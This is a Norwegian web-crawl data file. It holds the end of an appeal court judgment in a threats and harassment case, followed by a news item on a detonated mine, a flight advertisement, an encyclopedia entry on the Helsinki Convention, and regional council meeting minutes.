for drapsfors\u00f8k. Siktede fremst\u00e5r som iherdig og m\u00e5lrettet i sine trusler. Truslene omfatter drapsfors\u00f8k og ogs\u00e5 forn\u00e6rmede Cs mindre\u00e5rige barn er trukket inn i saken. Situasjonen var i en periode s\u00e5 ille at forn\u00e6rmedes barn hadde politibeskyttelse p\u00e5 skoleveien, og b\u00e5de forn\u00e6rmede og hans tidligere ektefelle brukte voldsalarm. Forn\u00e6rmede C forklarte seg for lagmannsretten. Han var fortsatt preget av det som hadde skjedd. Forn\u00e6rmede uttrykte redsel og forklarte at den alminnelige trygghetsf\u00f8lelsen var borte. I tillegg til den konkrete frykt han f\u00f8lte mens truslene og \u00abhatsidene\u00bb l\u00e5 ute p\u00e5 internett, opplever han fortsatt uro og er ikke helt trygg for at siktede ikke skal gj\u00f8re alvor av truslene. Forn\u00e6rmede er, som aktor i den tidligere straffesaken mot siktede, vel kjent med at siktede er i stand til \u00e5 utf\u00f8re voldshandlinger.\n\nSiktede forklarte i lagmannsretten at han er ferdig med saken og ikke lenger tenker p\u00e5, eller engasjerer seg i forn\u00e6rmede. Lagmannsretten bemerker likevel at siktede fortsatt fremstod som engasjert og energisk n\u00e5r forn\u00e6rmede ble et tema under hans forklaring. Han fastholdt at han mener de forn\u00e6rmede opptr\u00e5dte ukorrekt i straffesaken mot ham, at han \u00f8nsker rettferdighet og at de forn\u00e6rmede b\u00f8r straffes for de feil siktede mener de har beg\u00e5tt. Siktede uttalte ogs\u00e5 at han ikke forst\u00e5r at de forn\u00e6rmede ble redde. Han synes ikke \u00e5 forst\u00e5 hvilke konsekvenser hans handlinger har f\u00e5tt for de forn\u00e6rmede og deres familier.\n\nSiktede ble p\u00e5grepet i januar 2012 og p\u00e5lagt \u00e5 stanse truslene og sjikaneringen av de forn\u00e6rmede. Til tross for dette fortsatte han, og trappet ogs\u00e5 opp, aktiviteten. Dette viser et fast forbrytersk forsett. Sammenholdt med at siktede tidligere er domfelt for vold og drapsfors\u00f8k, fremst\u00e5r truslene som skremmende b\u00e5de for de direkte forn\u00e6rmede og andre potensielle offer. Allmennpreventive og individualpreventive hensyn tilsier en streng reaksjon. Etter lagmannsrettens vurdering medf\u00f8rer overtredelsene isolert sett en straff av fengsel i om lag 1 \u00e5r.\n\nSiktede ble 30. oktober 2011 pr\u00f8vel\u00f8slatt fra soning av Oslo tingretts dom av 23. oktober 2007, som gjaldt overtredelse av straffeloven \u00a7 233, jf. \u00a7 49, drapsfors\u00f8k. Resttiden ved pr\u00f8vel\u00f8slatelse var 2 \u00e5r. Siktede ble pr\u00f8vel\u00f8slatt p\u00e5 det s\u00e6rlige vilk\u00e5r at han blant annet ikke skulle ta kontakt med C og D. De nye forholdene startet relativt tidlig i pr\u00f8vetiden og gjaldt etterhvert trusler om drap og andre voldshandlinger overfor disse personene. B\u00e5de C og D var sentrale i saken mot siktede i Oslo tingrett i oktober 2007 og den senere ankeforhandlingen i Borgarting lagmannsrett. Etter lagmannsrettens vurdering er det n\u00e6r sammenheng mellom drapsfors\u00f8ket siktede ble domfelt for i 2007 og overtredelsene av straffeloven \u00a7 132 a og \u00a7 390a. Lagmannsretten avsier etter dette en fellesstraff med resttiden p\u00e5 2 \u00e5r etter pr\u00f8vel\u00f8slatelse fra soning av Oslo tingretts dom jf. straffegjennomf\u00f8ringsloven \u00a7 45, jf. straffeloven \u00a7 28 b, f\u00f8rste ledd bokstav b, jf. tredje ledd.\n\nVed vurderingen av hvilken fellesstraff som skal utm\u00e5les, tar lagmannsretten utgangspunkt i Rt-2007-451:\n\n\u00ab(9) Sp\u00f8rsm\u00e5let er s\u00e5 hvilken fellesstraff som skal utm\u00e5les. Av H\u00f8yesteretts praksis i saker der det tas stilling til om fellesstraff skal id\u00f8mmes og til utm\u00e5lingen, f\u00f8lger at det normalt fastsettes en fellesstraff som er lavere enn summen av reststraffen og den straff det nye straffbare forhold tilsier.( \u2026 .)\n\n(10) I henhold til straffegjennomf\u00f8ringsloven \u00a7 45, jf. straffeloven \u00a7 28b, kan domstolen bestemme at hele eller deler av reststraffen skal fullbyrdes. Hvor stor del av reststraffen som skal fullbyrdes, m\u00e5 bero p\u00e5 en helhetsvurdering med utgangspunkt i grunnvilk\u00e5ret for pr\u00f8vel\u00f8slatelse: at den pr\u00f8vel\u00f8slatte skal avholde seg fra nye straffbare handlinger i pr\u00f8vetiden. Det skal med andre ord ha konsekvenser av betydning for den pr\u00f8vel\u00f8slatte hvis vilk\u00e5ret ikke overholdes. Derimot kan jeg ikke se at det er grunnlag for \u00e5 oppstille skjematiske normer for utm\u00e5lingen av fellesstraff, eksempelvis at straffen ikke kan settes lavere enn reststraffen. Som ved straffutm\u00e5ling ellers, m\u00e5 hensynet til lovlydighet tillegges vekt, ikke minst individualpreventive hensyn fordi det er snakk om ny kriminalitet i pr\u00f8vetiden. Sentralt st\u00e5r grovheten i det nye forhold domfellelsen gjelder, n\u00e5r det ble beg\u00e5tt, og hvor lang straff dette tilsier i forhold til den resttid som gjenst\u00e5r.\u00bb\n\nLagmannsretten bemerker at siktede ble l\u00f8slatt fra varetekt 20. november 2012, og har v\u00e6rt p\u00e5 frifot i over 6 m\u00e5neder. Det legges til grunn at han ikke har fremsatt flere trusler eller for \u00f8vrig kommet med ytringer mot de forn\u00e6rmede i denne tiden.\n\nLagmannsretten finner etter dette at fellesstraffen b\u00f8r settes til fengsel i 2 \u00e5r og 6 m\u00e5neder, hvorav fullbyrdelsen av 1 \u00e5r og 6 m\u00e5neder, utsettes med en pr\u00f8vetid p\u00e5 2 \u00e5r, jf. straffeloven \u00a7 \u00a7 52 \u2013 54. Straffeloven \u00a7 62 f\u00f8rste ledd er gitt anvendelse.\n\nTil fradrag i den ubetingede del av straffen g\u00e5r 137 \u2013 etthundreogtrettisyv \u2013 dager for utholdt varetekt.\n\nInndragning:\n\nAktor har nedlagt p\u00e5stand om at siktedes PC skal inndras, jf. straffeloven \u00a7 35 andre ledd.\n\nLagmannsretten finner at vilk\u00e5rene for inndragning er oppfylt. Det er p\u00e5 det rene at PC'en har v\u00e6rt benyttet til \u00e5 legge ut trusler og sjikanerende uttalelser mot de forn\u00e6rmede p\u00e5 facebook og internett. PC'en har v\u00e6rt brukt til straffbare handlinger, og inndragning finnes p\u00e5krevd av hensyn til form\u00e5let med straffeloven \u00a7 132a og straffeloven \u00a7 390a.\n\nA d\u00f8mmes etter dette til \u00e5 t\u00e5le inndragning av en b\u00e6rbar Toshiba PC X00000000 til fordel for statskassen, jfr. straffeloven \u00a7 35, jf. \u00a7 37.\n\nErstatning:\n\nForn\u00e6rmede C har krevd oppreisningserstatning fastsatt etter rettens skj\u00f8nn, jf. skadeserstatningsloven \u00a7 3-5 bokstav b. Forsvarer har anf\u00f8rt at erstatningsbel\u00f8pet skal settes s\u00e5 lavt som mulig. Det er vist til at siktede lever av uf\u00f8retrygd og har mye gjeld.\n\nLagmannsretten finner, i likhet med tingretten, at vilk\u00e5rene for \u00e5 id\u00f8mme erstatning er oppfylt, jf. skadeserstatningsloven \u00a7 3-5. Dette er heller ikke bestridt i forbindelse med ankebehandlingen. Det vises til tingrettens begrunnelse vedr\u00f8rende dette sp\u00f8rsm\u00e5let.\n\nErstatningen skal utm\u00e5les til det som retten \u00abfinner rimelig\u00bb og skal gjelde for \u00abden voldte tort og smerte og for annen krenking eller skade av ikke\u00f8konomisk art\u00bb. Lagmannsretten finner at erstatningen b\u00f8r settes h\u00f8yere enn det tingretten kom frem til. Det vises til sakens alvor og overtredelsens grovhet. Saken har v\u00e6rt, og er fortsatt, en stor belastning for forn\u00e6rmede og hans familie. Det vises til den n\u00e6rmere beskrivelse ovenfor under straffutm\u00e5lingen og tingrettens dom. Lagmannsretten har hensyntatt siktedes svake \u00f8konomi, samt at han skal sone en ubetinget fengselsstraff.\n\nA d\u00f8mmes etter dette til \u00e5 betale oppreisningserstatning til forn\u00e6rmede C med kr 50 000,-.\n\nSaksomkostninger er ikke p\u00e5st\u00e5tt og id\u00f8mmes etter omstendighetene ikke.\n\nDommen er enstemmig.\n\nDomsslutning:  \n1\\. I tingrettens dom gj\u00f8res den endring at straffen settes til fengsel i 2 \u2013 to \u2013 \u00e5r og 6 \u2013 seks \u2013 m\u00e5neder, hvorav fullbyrdelsen av 1 \u2013 ett \u2013 \u00e5r og 6 \u2013 seks \u2013 m\u00e5neder, utsettes med en pr\u00f8vetid p\u00e5 2 \u2013 to \u2013 \u00e5r, jf. straffeloven \u00a7 \u00a7 52 \u2013 54, jf. straffeloven \u00a7 62 f\u00f8rste ledd.\n\nStraffen er fellesstraff med resttid etter pr\u00f8vel\u00f8slatelse fra soning av Oslo tingretts dom av 23. oktober 2007, jf. straffegjennomf\u00f8ringsloven \u00a7 45, jf. straffeloven \u00a7 28 b, f\u00f8rste ledd bokstav b, jf. tredje ledd.\n\nTil fradrag i den ubetingede del av straffen g\u00e5r 137 \u2013 etthundreogtrettisyv \u2013 dager for utholdt varetekt.  \n2\\. A, f\u00f8dt 0.0.1953, d\u00f8mmes til \u00e5 t\u00e5le inndragning av en b\u00e6rbar Toshiba PC X00000000 til fordel for statskassen, jf. straffeloven \u00a7 35, jf. \u00a7 37.  \n3\\. A, d\u00f8mmes til innen 2 \u2013 to \u2013 uker fra dommens forkynnelse \u00e5 betale oppreisning til C med 50.000 \u2013 femtitusen \u2013 kroner.\n\n4.  LB-2012-68482: Mulla Krekar-saken \u2013 Oppreisning etter trusler under provokasjon\n\nadmin2015-08-05T17:52:19+00:00\n\n### Advokatfirmaet Teigstad AS\n\nMed v\u00e5re\u00a0**fem bistandsadvokater** utgj\u00f8r vi det mest spesialiserte advokatfirmaet for voldsofre i landet. Ta kontakt med oss i dag for en **uforpliktende** prat om anmeldelse og erstatning etter overgrep eller vold. Vi avklarer alltid om advokatutgiftene dekkes av **offentlige ordninger** f\u00f8r vi p\u00e5tar oss din sak.\n\nVi tar saker **over hele landet**.\n\n", "language": "no", "__index_level_0__": "373d71aa-95db-45ee-8136-901da09a9029"}
{"url": "https://www.nrk.no/hordaland/minen-ved-framohallen-sprengt-1.2712001", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-25T00:22:48Z", "text": "# Minen ved Framohallen sprengt\n\nMinen som ble funnet ved Framohallen i Fyllingsdalen tidligere i dag, er n\u00e5 sprengt etter at Forsvaret rykket ut.\n\n\n\nSolfrid Torvund\n\nAnders Kleivenes Orset\n  Publisert  15.06.2007, kl. 12.55    Oppdatert  15.06.2007, kl. 16.12 \n  Publisert  15.06.2007, kl. 12.55    Oppdatert  15.06.2007, kl. 16.12 \nMinen ble funnet under gravearbeider bak Framohallen i 11-tiden i dag.\n\nDet ble sperret av en sikkerhetssone p\u00e5 100 meter rundt funnet.\n\n\\- Det er veldig sjeldent at de eksploderer. De har ligget i ro i jorden i 40-50 \u00e5r, sa operasjonsleder Per Stiegler ved Hordaland politidistrikt til NRK Hordaland.\n\n## Ikke f\u00f8rste gang\n\nDet har ogs\u00e5 tidligere v\u00e6rt funnet miner i omr\u00e5det.\n\n\\- Arbeiderne og politifolkene som var der, opplyste at det er funnet slike gjenstander tidligere, sier Stiegler.\n\n  Publisert  15.06.2007, kl. 12.55    Oppdatert  15.06.2007, kl. 16.12 \n\n### NRK anbefaler\n\nAv Linn Blomkvist\n\n\n\n## Lorentzen har grepet om nok en NM-tittel\n\nH\u00e5vard Holmefjord Lorentzen leder som ventet gulljakten i sprint-NM p\u00e5 sk\u00f8yter i Bjugn. S\u00f8ndag kan han bli norgesmester i sprint for femte gang.\n\n", "language": "no", "__index_level_0__": "f8cc4679-cec7-44f3-a839-1fda606e4bde"}
{"url": "https://www.bravofly.no/fly/billig/odessa_odessa_central-wien_international", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:37:14Z", "text": "### Beste Tilbud\n\n## kr 1\u00a0892\n\nfra **Odessa** til **Wien**  \nfra **4. juni 2018** til **10. juni 2018**\n\n\n\n## Flyreise fra Odessa til Wien\n\nGj\u00f8r det beste ut av **spesialtilbudene til Wien fra Odessa**. Vi har valgt ut denne m\u00e5nedens beste flytilbud for deg.\n\nN\u00e5r du har funnet **reisen fra Odessa til Wien** som passer for deg kan du planlegge reisen p\u00e5 akkurat den m\u00e5ten du vil. Hos Bravofly kan du bestille hotellrom, leiebil og turistguider for Wien i tillegg til reisen Odessa-Wien.\n\nVelkommen til Bravofly's nettside\\! Hvis du befinner deg her, er det fordi du leter etter en **billig billett fra Odessa til Wien**. Fyll ut feltene i s\u00f8kemotoren og trykk p\u00e5 s\u00f8k, vi vet vi har reisen du leter etter.\n\nHvis du reiser mye og trenger et praktisk og p\u00e5litelig redskap med deg p\u00e5 **reisen**, last ned Bravofly's Smartphone app - den vil komme godt til nytte.\n\nAlle **flyreiser** som bestilles med Bravofly har v\u00e5r reiseforsikring som vi har arrangert gratis for deg i samarbeid med EuroAssistance, et forsikringsselskap spesialisert i turismebransjen.\n\n-----\n\n** Kanskje du er interessert i\u00a0 Fly til Odessa\u00a0\n\n-----\n", "language": "no", "__index_level_0__": "50100553-2226-4923-b013-f6d96b4bd2c0"}
{"url": "https://snl.no/%C3%98stersj%C3%B8konvensjonen", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:47:07Z", "text": "# \u00d8stersj\u00f8konvensjonen\n\n  - Ogs\u00e5 kjent som  \n    Helsinkikonvensjonen, engelsk: The 1992 Helsinki Convention\u00a0\n\nForl\u00f8peren til denne konvensjonen ble inng\u00e5tt i 1974. I 1992 ble den fornyet, og den reviderte Helsinkikonvensjonen fikk tilslutning fra EU, Latvia, Sverige og Tyskland i 1994. S\u00e5 fulgte Estland og Finland (1995), Danmark (1996), Litauen (1997) og Polen og Russland (1999). Konvensjonen tr\u00e5dte i kraft 17. januar 2000. \u00a0\n\n## Form\u00e5l og virkeomr\u00e5de\n\nHelsinkikonvensjonen forbyr enhver forurensning av det marine milj\u00f8 i \u00d8stersj\u00f8omr\u00e5det, enten den skjer fra land eller fra skip, og gjelder b\u00e5de selve havet, havbunnen og vann til lands (ferskvann). Den tar ogs\u00e5 grep for \u00e5 redusere landbasert forurensning.\n\nKonvensjonen har etablert en egen kommisjon (HELCOM) som overv\u00e5ker at avtalen etterleves og har \u00e5rlige m\u00f8ter. Alle deltakerne er representert i dette organet, vanligvis med hvert enkelt lands delegasjonsleder.\n\n  - Skrevet av:\n    \n      - K\u00e5re Olerud\n\n", "language": "no", "__index_level_0__": "86e60940-a3c5-4b5f-8356-077cf7ad8635"}
{"url": "http://docplayer.me/3026277-Kolbjorn-kvaerum-ringerike-27-06-og-28-06-svein-aannestad-ringerike-hilde-brorby-fivelsdal-jevnaker-knut-sonju-jevnaker-per-berger-hole.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-25T00:33:11Z", "text": "1 REGIONR\u00c5DET for Ringeriksregionen Referat fra m\u00f8te i Regionr\u00e5det 06. april 2006, kl 9.00 Kolbj\u00f8rn Kv\u00e6rum, Ringerike Per Stamnes, Ringerike M\u00f8tedeltager Merknad Forfall Ikke m\u00f8tt Svein Aannestad, Ringerike Hilde Br\u00f8rby Fivelsdal; Jevnaker Knut S\u00f8nju, Jevnaker Per Berger, Hole Roar Hammerstad, Hole Gerd Johnsen, Buskerud f.k. Geir Dyrn\u00e6s, Buskerud f.k. Deltok under sak 27/06 og 28/06 Helle Haas S\u00e6ta(vararepr. Hole kommune) For F.H.Nilssen Ivar Reinton (vararepr. BFK) For J.Rytman Dessuten m\u00f8tte: Repr. fra BFK s informasjonstjeneste Per Ole R\u00f8nning, Jevnaker Fred Harald Nilssen, Hole J\u00f8rund Rytman, Buskerud f.k. Bj\u00f8rn M\u00e6hlum, Oppland f.k. F\u00f8lgende saksliste ble vedtatt, med \u00f8nske om at sakene 27/06 og 28/06 ble behandlet f\u00f8rst: 1. Referater og orienteringer a. (Sak 24/06) Referat fra m\u00f8te i Samarbeidsr\u00e5det b. (Sak 25/06) M\u00f8te- og dokument-offentlighet knyttet til Regionr\u00e5dets m\u00f8ter c. (Sak 26/06) Planer for Motorsportsenter p\u00e5 Eggemoen - statusinformasjon 2. OR-saker a. (Sak 27/06) Gjennomgang av nye s\u00f8knader og r\u00e5dmennenes forslag til prioriteringer 3. Partnerskap-saker, OFK, BFK og BTV a. (Sak 28/06) Gjennomgang av nye s\u00f8knader og r\u00e5dmennenes forslag til prioriteringer b. (Sak 29/06) Presentasjon av utredninger vedr. framtidig videreg\u00e5ende skolestruktur i Ringeriksregionen (jmfr. referat fra m\u00f8te03.03.d.\u00e5., sak 23/06). 4. Vestregionen / Oslo-alliansen a. 5. \u00d8vrige saker relatert til Regionr\u00e5dets vedtekter eller initiert av Fylkesmannen a. (Sak 30/06) Sekretariatfunksjonen i Regionr\u00e5det (utsatt sak fra m\u00f8te d.\u00e5.). 6. Eventuelt a. (Sak 31/06) F.o.m. dette m\u00f8tet har vi g\u00e5tt over til \u00e5 bruke betegnelsen Regionr\u00e5det for Ringeriksregionen, i og med dette n\u00e5 er vedtatt i alle tre kommunestyrene. F\u00f8lgende ble protokollert:\n\n2 ... Sak 24/2006: Referat fra m\u00f8te i Samarbeidsr\u00e5det d.\u00e5. Det ble ikke fremmet merknader til det utsendte referatet. Referatet godkjennes.... Sak 25/2006: M\u00f8te- og dokument-offentlighet knyttet til Regionr\u00e5dets m\u00f8ter Sp\u00f8rsm\u00e5let er kommet opp p\u00e5 bakgrunn av en henvendelse ordf\u00f8reren har hatt fra lokalavisen Ringerikes Blad. Ordf\u00f8rer og sekret\u00e6r foreslo overfor Regionr\u00e5det \u00e5 legge Kommunelovens 31 til grunn. Dette inneb\u00e6rer at m\u00f8tene i hovedsak skal g\u00e5 for \u00e5pne d\u00f8rer, bortsett fra der lovbestemt taushetsplikt eller at Regionr\u00e5det ut fra s\u00e6rskilt begrunnelse vedtar \u00e5 lukke m\u00f8tet. M.h.t. dokument-offentlighet legges Offentlighetslovens bestemmelser til grunn. Praktiseringen av ovennevnte prinsipper inneb\u00e6rer at pressen tilsendes m\u00f8teinnkalling og referat fra Regionr\u00e5dets m\u00f8ter. Regionr\u00e5det slutter seg til ordf\u00f8rer og sekret\u00e6rs vurdering.... Sak 26/2006: Planer for Motorsport-senter p\u00e5 Eggemoen - statusinformasjon Ordf\u00f8rer Kv\u00e6rum orienterte om status i saken etter at kulturministeren ikke prioriterte anlegget p\u00e5 Eggemoen. Ringerike kommune i n\u00e6rt samarbeid med Norges Motorsportforbund arbeider videre med saken med sikte p\u00e5 \u00e5 realisere et motorsportsanlegg p\u00e5 Eggemoen allikevel, men basert p\u00e5 en finansieringsl\u00f8sning der b\u00e5de det offentlige og private deltar. I h.h.t. den avtalen som Ringerike kommune har inng\u00e5tt med Skifte Eiendom om kj\u00f8p av eiendommen, er det viktig \u00e5 f\u00e5 en endelig avklaring p\u00e5 finansieringen i l\u00f8pet av de neste 2 m\u00e5nedene. Det er sendt brev til alle kommunene i Vestregionen om bistand til medfinansiering. Buskerud Fylkeskommune anmodes om \u00e5 ta saken opp til behandling i samband med fylkestingets m\u00f8te i april d.\u00e5.. Det ble av ordf\u00f8rer i Jevnaker stilt sp\u00f8rsm\u00e5l om hvordan en tenker seg framtidig struktur vedr. eiendoms- og drifts-ansvar, og hva det vil inneb\u00e6re for den enkelte kommune \u00e5 bli med p\u00e5 medfinansieringen. Dette er p.t. noe manglende avklart, det ble derfor anmodet om at representant fra Ringerike kommune deltar med orienteringer og svarer p\u00e5 sp\u00f8rsm\u00e5l n\u00e5r saken eventuelt skal opp til behandling i Jevnaker og Hole kommuner Vedlagt referatet f\u00f8lger den felles saksutredning som er utarbeidet med sikte p\u00e5 behandling i alle kommunene i Vestregionen-samarbeidet. Informasjonen tas til orientering.buskerud Fylkeskommune anmodes spesielt om \u00e5 avklare sin deltagelse i samband med fylkestingets m\u00f8te i april d.\u00e5.\n\n\n\n3 Sak 27/2006: S\u00f8knader om OR-midler Regionr\u00e5det ble informert om at gjenst\u00e5ende ramme fra tidligere \u00e5rs bevilgninger er p\u00e5 ca. 1,8 mill. kr. informasjon. I tillegg ble det informert om at en del av kommunene som er rammet av forsvarsnedlegginger vil f\u00e5 forlenget tilskuddsperioden for omstillingsmidler med 3 \u00e5r, t.o.m For Buskerud fylkeskommune vil dette tilsi at det til fordeling p\u00e5 \u00c5l, Kongsberg og Ringeriksregionen vil bli en \u00f8kt ramme p\u00e5 kr 4,5 mill. for hver av \u00e5rene 2006, 2007 og Det er forventninger til at Ringeriksregionen vil motta minimum 2 2,5 mill. pr. \u00e5r i denne 3-\u00e5rs-perioden. Basis for s\u00f8knadsvurderingene har v\u00e6rt : Rammebetingelser Fylkesplanen Fylkesplanens handlingsprogram Satsingsomr\u00e5der i h.h.t. partnerskapsavtale for 2006 \u00d8konomi OR-midler (resterende og nye) \u00d8konomi Regionutviklingsmidler/partnerskapsmidler (resterende og nye) \u00d8konomi Satsingsmidler BTV og reiseliv S\u00f8knadsvurderingene Prosjekter/tilskudd vedtatt i 2005 og tidligere som videref\u00f8res OR Prosjekter/tilskudd vedtatt i 2005 og tidligere som videref\u00f8res regionalutviklingsmidler/partnerskapsavtaler/gjennomf\u00f8ringsavtaler Nye s\u00f8knader OR 2006 Nye s\u00f8knader regionutviklingsmidler/partnerskapsavtaler 2006 nye gjennomf\u00f8ringsavtaler S\u00f8knader som videresendes BTV eller fylkeskommunen med sikte p\u00e5 s\u00e6rskilte satsingsmidler ut over rammene for OR / partnerskap. Andre temaer: Jevnaker kommune og partnerskapsmidler i Buskerud Policy-diskusjon form\u00e5l, egenfinansieringsgrad, etc. Fylkesplanen peker klart p\u00e5 f\u00f8lgende vektlegginger: N\u00e6ringsutvikling Innovasjon Kompetanse Stedsutvikling Arealbruk Transport Kultur For Ringeriksregionen spesielt peker fylkesplanens handlingsprogram p\u00e5 f\u00f8lgende satsinger: KOMMUNIKASJONER o E16 Sandvika H\u00f8nefoss o RV 35/Ring 4, inkl. H\u00f8nefoss by o Bredb\u00e5nd o Kollektivtrafikk, b\u00e5de lokalt og mellom H\u00f8nefoss og Oslo\n\n5 02 Regional innovasjon HiBu H\u00f8nefoss HiBu H\u00f8nefoss v/ Kristin Barstad Kr ,- Kr ,- 5 delprosjekter/aktiviteter: 1. Markedsanalyse geografisk informasjon 2. Innovasjonsforum 3. Kurs i innovasjon og kommersialisering 4. Etablering av CoE i reiselivsutvikling 5. Planlegge etablering av DRIV Kunnskapspark i H\u00f8nefoss Delprosjektene 1 og 4 innvilges ved bruk av kr ,- av OR-midlene. Det kreves en mer detaljert prosjektplan som godkjennes av r\u00e5dmennene samt at egenfinansiering p\u00e5 ca. kr ,- opprettholdes. Regionr\u00e5det er innstilt p\u00e5 \u00e5 komme tilbake til delprosjektene 2, 3 og 5 n\u00e5r detaljert prosjektplan er utarbeidet og forankringen i n\u00e6ringslivet kan dokumenteres. BFKs representant Ivar Reinton ga uttrykk for uenighet i forbindelse med prioriteringen av delprosjekt Scenario Ringeriksregionen 2020 RNF v/jan Erik Gjerdebakken Kr ,-? Utarbeide 3 scenarier for hvordan hvordan n\u00e6ringslivet og Ringeriks-samfunnet vil se ut i Retter seg mot alle n\u00e6ringer. S\u00f8knaden innvilges ved bruk av kr ,- av OR-midlene. Det forutsettes framlagt en mer detaljert prosjektplan samt dokumentasjon for bred medvirkning i n\u00e6ringslivet i regionen. 04 Ringerike Reiseliv - pilotprosjekt 07 Buskerud Utmark- og Areal-plan DA RNF v/jan Erik Gjerdebakken BUA v/ Ragnar Braata og Tom Hammerstad 08 Mellerud AS Mellerud AS v/ Dag C. Weberg Kr ,- Kr ,- Samarbeidsprosjekt med Hadeland Reiseliv og speilbilde av dette M\u00e5l: \u00d8ke turisttilfanget i regionen, m\u00e5lt gjennom: Flere bes\u00f8kende og flere foresp\u00f8rsler Hotellenes omsetning Varehandelens omsetning Restaurantbransj ens omsetning Bes\u00f8k ved regionens kulturinstitusjone r Kr ,-? Bistand i forbindelse med oppbygging av nytt firma p\u00e5 HeM som skal arbeide med oppdatering/registrering av kulturminner, planlegge hyttefelt, oppm\u00e5ling ved bruk av GPS, naturguiding, m.v.?? Etableringsst\u00f8tte i forbindelse med oppstarting av virksomhet i HeM n\u00e6ringspark Prosjektet avsl\u00e5s i denne omgang. Begrunnelsen for dette er at en f\u00f8rst \u00f8nsker \u00e5 komme i gang med reiselivsutviklingsprosjekt v/ HiBu som bl.a. vil gi anvisning om riktige satsingsgrep framover innen reiselivsutvikling med kompetanse som basis. S\u00f8knaden avsl\u00e5s ut fra at den ikke tilfredsstiller kravet til stor nok regional interesse. S\u00f8knaden oversendes Hole kommune for vurdering der. Repr. Stamnes fratr\u00e5dte under behandling av denne s\u00f8knaden. S\u00f8knaden avsl\u00e5s ut fra at den ikke tilfredsstiller kravet til stor nok regional interesse. S\u00f8knaden oversendes Hole kommune for vurdering der.\n\n\n\n\n\n7 06 Askeladden Reiser og Transport AS Askeladden v/ Rolf Lie Kr ,-? Markedsf\u00f8ring av flybussen. \u00d8nsker \u00e5 satse videre til tross for kr ,- i underskudd i 2005 S\u00f8knaden innvilges delvis med en markedsst\u00f8tte for 2006 p\u00e5 kr ,-. Det gis samtidig uttrykk for at dette er siste \u00e5ret regionen gir tilskudd p\u00e5 dette grunnlaget, f\u00f8r saken eventuelt framlegges for BTV Samferdsel med \u00f8nske om \u00e5 vurdere faste \u00e5rlige transport-subsidier. Finansiering av markedstilskuddet for 2006 skjer p\u00e5 f\u00f8lgende m\u00e5te: Kr ,- i partnerskapsmidler Kr ,- fra Ringerike kommune Kr ,- fra Hole kommune 10 RES (Ringerike Etablerer- Senter) RES v/ Lindberg og Gjerdebakken BFK kr RK kr HK kr JK kr Innovasjon Norge kr Det foreligger allerede positive vedtak i Buskerud fylkeskommune, Innovasjon Norge og Hole kommune. Saken behandles som egen sak i fylkeskommunen, Innovasjon Norge og i kommunene og tas ut av denne s\u00f8knadssammenhengen. 11 Kulturprosjekt - Vestregionen 13 Kommunedelplan om kultur-minner og milj\u00f8er i Hole kommune 14 Fast sekretariat for Ringeriksregio nen i en 3-\u00e5rig pr\u00f8veperiode Vestregionen v/ Hans Hagene og Thea Breivik BFK v/ Geir Dyrn\u00e6s Regionr\u00e5det for Ringeriksregionen Kr ,-? S\u00f8ker om kr ,- fra de ulike subregioner i Vestregionen. For Ringeriksregionen s\u00f8kes det samlet om kr ,- som andel av Vestregionens utgifter samt kr ,- fra BFK Prosjektomr\u00e5der: Vann Kunst Eventyr og fortelling Kr ,- Kr ,- Samarbeidsprosjekt mellom Hole kommune og Buskerud fylkeskommune. Oppf\u00f8lging til tilsvarende planarbeid i Hurum S\u00f8knaden innvilges. Finansieringen foretas slik: Kr ,- i partnerskapsmidler Kr 9.000,- fra Ringerike kommune Kr 5.000,- fra Jevnaker kommune Kr 5.000,- fra Hole kommune S\u00f8knaden innvilges. Finansieringen foretas slik: Kr ,- i partnerskapsmidler Kr ,- fra Hole kommune og eventuelle andre samarbeidspartnere. kommune?? Saken utsettes og tas opp p\u00e5 neste m\u00f8te i Regionr\u00e5det i samband med en n\u00e6rmere utredning av konkret skisse til framtidig sekretariatsordning for Regionr\u00e5det. 15 Midt-fylket teaterverksted - utviklingsprosj ekt Midtfylket teaterverksted Kr ,- Kr ,- fra R.K og kr ,- fra H.K. Manglende vedtak/utbetaling i Vedtatt i Samarbeidsr\u00e5det men ikke behandlet i fylkesutvalget. Kun R.K. har betalt sin andel p\u00e5 kr ,-. BFK og Hole kommune oppfordres til \u00e5 fatte vedtak og utbetale sine tilskudd i tr\u00e5d med tidligere behandling i Samarbeidsr\u00e5det i F\u00f8lgende finansiering mangler: Kr ,- i partnerskapsmidler Kr ,- fra Hole kommune\n\n\n\n8 Sak 29/2006: Presentasjon av utredninger vedr. framtidig videreg\u00e5ende skolestruktur i Ringeriksregionen Ringerikes r\u00e5dmann, som medlem av oppnevnt utredningsutvalg, ga en oppdatert informasjon i saken. Utvalget har valgt \u00e5 samle seg om ett felles skoleanlegg i H\u00f8nefoss sentrum, tilknyttet Ringerike videreg\u00e5ende skole. Dette anlegget vil f\u00e5 ca. 75 klasser med samlet ca elever. Det tas sikte p\u00e5 en samarbeidsavtale vedr. utnyttelse av idrettshall, m.v. i H\u00f8nefoss Idrettspark samt f\u00e5 til kombinasjonsbruk av kultur-saler/-rom med annen virksomhet/prosjekter i byen. Intensjonsavtale mellom Buskerud fylkeskommune og Ringerike kommune med bl.a. overtagelse av skoleanlegg, er behandlet i Ringerike formannskap med positiv innstilling. Endelig behandling av ovennevnte konsept vil finne sted i Buskerud fylkesting i juni Informasjonen tas til orientering Sak 30/2006: Sekretariatsfunksjonen i Regionr\u00e5det (utsatt sak) I samsvar med vedtak fra Samarbeidsr\u00e5dets m\u00f8te d.\u00e5. ble sekret\u00e6ren bedt om \u00e5 utrede mulige skisser til l\u00f8sning for et framtidig sekretariat for Regionr\u00e5det. I ordf\u00f8rernes evalueringsrapport for Samarbeidsr\u00e5det er det lagt opp til at sak vedr sekretariatsl\u00f8sning skal avklares i l\u00f8pet av v\u00e5ren Fra fylkeskommunens side er det gitt sterke ytringer for \u00e5 f\u00e5 etablert en bedre sekretariatsordning for Regionr\u00e5det for Ringeriksregionen, og de har gitt uttrykk for \u00e5 ville v\u00e6re med i en delfinansieringsl\u00f8sning gjennom en pr\u00f8veperiode 